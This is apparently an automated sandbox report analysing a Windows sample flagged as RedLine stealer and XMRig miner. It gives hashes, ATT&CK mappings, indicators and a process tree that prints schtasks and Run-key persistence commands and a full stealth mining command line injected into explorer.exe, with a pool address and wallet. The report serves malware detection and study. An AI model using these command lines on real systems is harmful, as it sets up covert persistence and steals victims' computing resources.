redline | 02509150940d9d652f1f65aef43231c2bd30e5ff2816f02ecc3f93a63e11954e

Analysis

max time kernel
149s
max time network
130s
platform
windows10_x64
resource
win10v20210410
submitted
20/08/2021, 15:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
daebb5fe27c6b6ec749ccc2809b58c8a.exe
Size 214KB
Sample210820-tkjzft324n
SHA256 02509150940d9d652f1f65aef43231c2bd30e5ff2816f02ecc3f93a63e11954e
MD5 daebb5fe27c6b6ec749ccc2809b58c8a
SHA1 698ff87bb1b4987f7137bbed104b03bf5df6964b
SHA512 150ae910fc3e729a52f7cf3bfd4243a3502dcf864202a23353cf16a1defb940324a8bfddc4e850a0065a35ce563945e4d137f0d32d9785e45e85d43c1abec168
MD5 SHA1 SHA512

Score

10^/10

redline xmrig discovery infostealer miner persistence spyware stealer

Malware Config

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1572-149-0x0000000004D80000-0x0000000004DB2000-memory.dmp	family_redline

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner Payload 3 IoCs

miner

resource	yara_rule
behavioral2/memory/2220-195-0x0000000140000000-0x0000000140763000-memory.dmp	xmrig
behavioral2/memory/2220-196-0x00000001402F327C-mapping.dmp	xmrig
behavioral2/memory/2220-198-0x0000000140000000-0x0000000140763000-memory.dmp	xmrig

Executes dropped EXE 8 IoCs

pid	Process
2820	Chrome3.exe
2884	JoBrowserSet.exe
376	6568821.exe
2704	3419449.exe
1572	5844763.exe
3848	WinHoster.exe
3972	services64.exe
3816	sihost64.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	3419449.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3972 set thread context of 2220	3972	services64.exe	96

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3196	376	WerFault.exe	78

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1328	schtasks.exe
2332	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
376	6568821.exe
3196	WerFault.exe
3196	WerFault.exe
3196	WerFault.exe
3196	WerFault.exe
3196	WerFault.exe
3196	WerFault.exe
3196	WerFault.exe
3196	WerFault.exe
3196	WerFault.exe
3196	WerFault.exe
3196	WerFault.exe
3196	WerFault.exe
3196	WerFault.exe
3196	WerFault.exe
3196	WerFault.exe
1572	5844763.exe
2820	Chrome3.exe
3972	services64.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe
2220	explorer.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	2884	JoBrowserSet.exe
Token: SeDebugPrivilege	376	6568821.exe
Token: SeDebugPrivilege	1572	5844763.exe
Token: SeDebugPrivilege	3196	WerFault.exe
Token: SeDebugPrivilege	2820	Chrome3.exe
Token: SeDebugPrivilege	3972	services64.exe
Token: SeLockMemoryPrivilege	2220	explorer.exe
Token: SeLockMemoryPrivilege	2220	explorer.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 3916 wrote to memory of 2820	3916	daebb5fe27c6b6ec749ccc2809b58c8a.exe	76
PID 3916 wrote to memory of 2820	3916	daebb5fe27c6b6ec749ccc2809b58c8a.exe	76
PID 3916 wrote to memory of 2884	3916	daebb5fe27c6b6ec749ccc2809b58c8a.exe	77
PID 3916 wrote to memory of 2884	3916	daebb5fe27c6b6ec749ccc2809b58c8a.exe	77
PID 2884 wrote to memory of 376	2884	JoBrowserSet.exe	78
PID 2884 wrote to memory of 376	2884	JoBrowserSet.exe	78
PID 2884 wrote to memory of 2704	2884	JoBrowserSet.exe	79
PID 2884 wrote to memory of 2704	2884	JoBrowserSet.exe	79
PID 2884 wrote to memory of 2704	2884	JoBrowserSet.exe	79
PID 2884 wrote to memory of 1572	2884	JoBrowserSet.exe	80
PID 2884 wrote to memory of 1572	2884	JoBrowserSet.exe	80
PID 2884 wrote to memory of 1572	2884	JoBrowserSet.exe	80
PID 2704 wrote to memory of 3848	2704	3419449.exe	82
PID 2704 wrote to memory of 3848	2704	3419449.exe	82
PID 2704 wrote to memory of 3848	2704	3419449.exe	82
PID 2820 wrote to memory of 3900	2820	Chrome3.exe	88
PID 2820 wrote to memory of 3900	2820	Chrome3.exe	88
PID 3900 wrote to memory of 2332	3900	cmd.exe	90
PID 3900 wrote to memory of 2332	3900	cmd.exe	90
PID 2820 wrote to memory of 3972	2820	Chrome3.exe	91
PID 2820 wrote to memory of 3972	2820	Chrome3.exe	91
PID 3972 wrote to memory of 188	3972	services64.exe	92
PID 3972 wrote to memory of 188	3972	services64.exe	92
PID 188 wrote to memory of 1328	188	cmd.exe	94
PID 188 wrote to memory of 1328	188	cmd.exe	94
PID 3972 wrote to memory of 3816	3972	services64.exe	95
PID 3972 wrote to memory of 3816	3972	services64.exe	95
PID 3972 wrote to memory of 2220	3972	services64.exe	96
PID 3972 wrote to memory of 2220	3972	services64.exe	96
PID 3972 wrote to memory of 2220	3972	services64.exe	96
PID 3972 wrote to memory of 2220	3972	services64.exe	96
PID 3972 wrote to memory of 2220	3972	services64.exe	96
PID 3972 wrote to memory of 2220	3972	services64.exe	96
PID 3972 wrote to memory of 2220	3972	services64.exe	96
PID 3972 wrote to memory of 2220	3972	services64.exe	96
PID 3972 wrote to memory of 2220	3972	services64.exe	96
PID 3972 wrote to memory of 2220	3972	services64.exe	96
PID 3972 wrote to memory of 2220	3972	services64.exe	96
PID 3972 wrote to memory of 2220	3972	services64.exe	96
PID 3972 wrote to memory of 2220	3972	services64.exe	96
PID 3972 wrote to memory of 2220	3972	services64.exe	96
PID 3972 wrote to memory of 2220	3972	services64.exe	96

C:\Users\Admin\AppData\Local\Temp\daebb5fe27c6b6ec749ccc2809b58c8a.exe
"C:\Users\Admin\AppData\Local\Temp\daebb5fe27c6b6ec749ccc2809b58c8a.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3916
- C:\Users\Admin\AppData\Local\Temp\Chrome3.exe
  "C:\Users\Admin\AppData\Local\Temp\Chrome3.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2820
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3900
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
      4⤵
      Creates scheduled task(s)
      PID:2332
- - C:\Users\Admin\AppData\Roaming\services64.exe
    "C:\Users\Admin\AppData\Roaming\services64.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3972
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:188
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        5⤵
        Creates scheduled task(s)
        
        PID:1328
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
      4⤵
      Executes dropped EXE
      PID:3816
  - - C:\Windows\explorer.exe
      C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=47z3fqW3wLPWJ4ACFetLRFTPAKWWqwp7fhF7gdaVDWfHYCiURua8iAr4mxbDH3aYV2AaqSTigrpDnKV9EM5Jjgs4TK1FnQq.living/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6L1cbBoqfaC06bAmgY02TjBZdfqiCoHvjS6kga2LQa1B" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2220
- C:\Users\Admin\AppData\Local\Temp\JoBrowserSet.exe
  "C:\Users\Admin\AppData\Local\Temp\JoBrowserSet.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2884
- - C:\Users\Admin\AppData\Roaming\6568821.exe
    "C:\Users\Admin\AppData\Roaming\6568821.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:376
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 376 -s 2040
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3196
- - C:\Users\Admin\AppData\Roaming\3419449.exe
    "C:\Users\Admin\AppData\Roaming\3419449.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:2704
  - - C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
      "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
      4⤵
      Executes dropped EXE
      PID:3848
- - C:\Users\Admin\AppData\Roaming\5844763.exe
    "C:\Users\Admin\AppData\Roaming\5844763.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1572

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/376-132-0x0000000000810000-0x0000000000811000-memory.dmp

Download

memory/376-161-0x000000001B700000-0x000000001B702000-memory.dmp

Download

memory/376-138-0x0000000000E30000-0x0000000000E31000-memory.dmp

Download

memory/376-148-0x0000000000E80000-0x0000000000E81000-memory.dmp

Download

memory/376-144-0x0000000000E40000-0x0000000000E72000-memory.dmp

Download

memory/1572-155-0x0000000007350000-0x0000000007351000-memory.dmp

Download

memory/1572-162-0x00000000073F0000-0x00000000073F1000-memory.dmp

Download

memory/1572-145-0x0000000000580000-0x0000000000581000-memory.dmp

Download

memory/1572-173-0x0000000009080000-0x0000000009081000-memory.dmp

Download

memory/1572-170-0x0000000008EC0000-0x0000000008EC1000-memory.dmp

Download

memory/1572-149-0x0000000004D80000-0x0000000004DB2000-memory.dmp

Download

memory/1572-169-0x0000000008990000-0x0000000008991000-memory.dmp

Download

memory/1572-150-0x0000000007940000-0x0000000007941000-memory.dmp

Download

memory/1572-168-0x0000000009100000-0x0000000009101000-memory.dmp

Download

memory/1572-167-0x0000000008A00000-0x0000000008A01000-memory.dmp

Download

memory/1572-157-0x00000000073B0000-0x00000000073B1000-memory.dmp

Download

memory/1572-166-0x0000000004E10000-0x0000000004E11000-memory.dmp

Download

memory/1572-164-0x0000000007590000-0x0000000007591000-memory.dmp

Download

memory/2220-198-0x0000000140000000-0x0000000140763000-memory.dmp

Download

memory/2220-197-0x0000000000DA0000-0x0000000000DC0000-memory.dmp

Download

memory/2220-201-0x0000000000DF0000-0x0000000000E10000-memory.dmp

Download

memory/2220-202-0x0000000002940000-0x0000000002960000-memory.dmp

Download

memory/2220-195-0x0000000140000000-0x0000000140763000-memory.dmp

Download

memory/2704-136-0x0000000000100000-0x0000000000101000-memory.dmp

Download

memory/2704-146-0x0000000006ED0000-0x0000000006ED1000-memory.dmp

Download

memory/2704-141-0x0000000000630000-0x0000000000636000-memory.dmp

Download

memory/2704-143-0x00000000073D0000-0x00000000073D1000-memory.dmp

Download

memory/2820-174-0x0000000001B50000-0x0000000001B5A000-memory.dmp

Download

memory/2820-176-0x0000000001B70000-0x0000000001B72000-memory.dmp

Download

memory/2820-175-0x00000000036D0000-0x00000000036D1000-memory.dmp

Download

memory/2820-119-0x0000000000CB0000-0x0000000000CB1000-memory.dmp

Download

memory/2884-126-0x0000000000D00000-0x0000000000D1C000-memory.dmp

Download

memory/2884-127-0x000000001B6C0000-0x000000001B6C2000-memory.dmp

Download

memory/2884-124-0x00000000008A0000-0x00000000008A1000-memory.dmp

Download

memory/3816-191-0x0000000000B40000-0x0000000000B41000-memory.dmp

Download

memory/3816-194-0x0000000003140000-0x0000000003142000-memory.dmp

Download

memory/3848-165-0x0000000004A00000-0x0000000004A01000-memory.dmp

Download

memory/3848-163-0x0000000007AC0000-0x0000000007AC1000-memory.dmp

Download

memory/3916-114-0x0000000000940000-0x0000000000941000-memory.dmp

Download

memory/3972-193-0x0000000000DB0000-0x0000000000DB2000-memory.dmp

Download